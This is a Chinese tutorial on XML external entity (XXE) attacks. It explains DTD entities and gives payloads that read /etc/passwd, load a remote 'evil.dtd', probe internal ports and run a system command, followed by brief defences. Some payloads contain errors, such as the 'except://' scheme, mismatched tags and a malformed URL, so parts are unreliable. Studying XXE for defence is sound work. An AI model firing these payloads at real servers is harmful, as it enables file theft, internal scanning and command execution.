一、XML介绍
XML文件可以理解为一种可以自己定义标签的HTML文件,所以自己定义标签就需要DTD语法规则来实现,因此一个XML文档一般会有约束自己语法规则的DTD文件或直接写在XML文档内部的关于XML语法的DTD规则说明区。
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
二、DTD介绍
DTD是一套关于标记符的语法规则,你可以简单理解为XML文档的语法规则,它规定着XML文档有哪些标签,它可以写在XML文档内部,也可以与XML文档分开来写为两个文档一个XML文件,再引入外部DTD文件;
DTD内有关于实体定义的语法规则,XXE的漏洞爆发的根源就在于XML文档内关于DTD定义外部实体的部分,简单了解一下实体的概念
三、XXE攻击
接上图说明,在最终可以声明的四种实体中,外部通用实体与外部参数实体由于可以引用了外部的内容,导致了攻击者可以利用此处的引用点进行注入攻击,因此XXE被称为XML外部实体攻击
因此构成XXE攻击需要满足两项条件
1.XML文档引用了DTD的声明外部实体的功能
2.XML文档在接受新的参数后会被服务器重新解析
如果需要满足第一个条件,有三种情况
情况1:XML与DTD编写在同一个XML文档内,DTD声明外部通用实体,且通用实体已经被XML文档或DTD内部引用。
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<C>&b;</c>
情况2:XML与DTD编写在同一个XML文档内,DTD声明外部通用实体,该实体也为DTD文件且定义了实体b,通用实体b被XML文档或DTD内部引用。
XML文档内
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<C>&b;</c>
evil.dtd文档内
<!ENTITY b SYSTEM "file:///etc/passwd">
情况3:XML与DTD编写在同一个XML文档内,DTD声明外部参数实体d,该实体也为DTD文件且定义了实体b,先在DTD内引用参数实体d,再在XML文档或DTD引用通用实体b。
XML文档内
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http:/test.com/abc.dtd">
%d;
]><c>&b;</c>
abc.dtd文档内
<!ENTITY b SYSTEM "file:///etc/passwd" >
如果需要满足第二个条件就需要:
检测站点内所有接受XML的点,抓包观察其是否会返回我们想要的内容。
传参处输入payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>
观察页面或者返回数据包内是否存在 Hello XXE 字样
四、XXE的检测
方式一
查看提交XML文件的地方
抓包:修改http请求,查看抓取的数据包中是否有提交XML文档,修改提交的XML文档再查看返回包响应,查看应用程序是否解析了修改内容,如果解析了则有可能存在XXE漏洞。
方式二
在输入框内或接受XML数据的点输入payload,观察页面或者返回数据包内是否存在 Hello XXE 字样,也就是对于XXE攻击首先看此处是否可以解析XML数据
检测payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>
五、 XXE的exp
1.读取本地文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
2. 探测内网端口
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.31.124:4444/test">
]>
<x>&xxe;</x></r>
成功的话,会返回空白。不成功的话会报错
3.配合php拓展命令执行
如果是 PHP 环境下并安装 except 扩展,就可以利用它执行系统命令了。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "except://id">
]>
<x>&xxe;</x>
六、XXE的防御
1. 禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。
2. 过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。
注:创作不易,答主水平菜鸟一只,还望各位客官海涵,如有错误欢迎大佬指正